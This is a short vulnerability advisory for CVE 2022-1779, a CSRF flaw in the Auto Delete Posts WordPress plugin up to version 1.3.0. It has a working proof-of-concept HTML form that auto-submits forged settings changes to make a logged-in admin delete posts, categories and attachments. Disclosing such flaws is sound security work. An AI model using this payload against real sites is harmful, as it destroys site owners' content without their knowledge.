Auto Delete Posts <= 1.3.0 – Arbitrary Settings Update via CSRF | CVE 2022-1779

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and delete specific posts, categories and attachments at once.

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=auto-delete-posts.php" method="POST">
    <input type="text" name="DelPostType" value="7">
    <input type="text" name="DeleteAttachments" value="9">
    <input type="text" name="DeleteCategory[]" value="1">
    <input type="text" name="PerPostOrSite" value="5">
    <input type="text" name="PostAction" value="2">
    <input type="text" name="PostAge" value=" 1">
</form>
<script>
    document.getElementById("test").submit();
</script>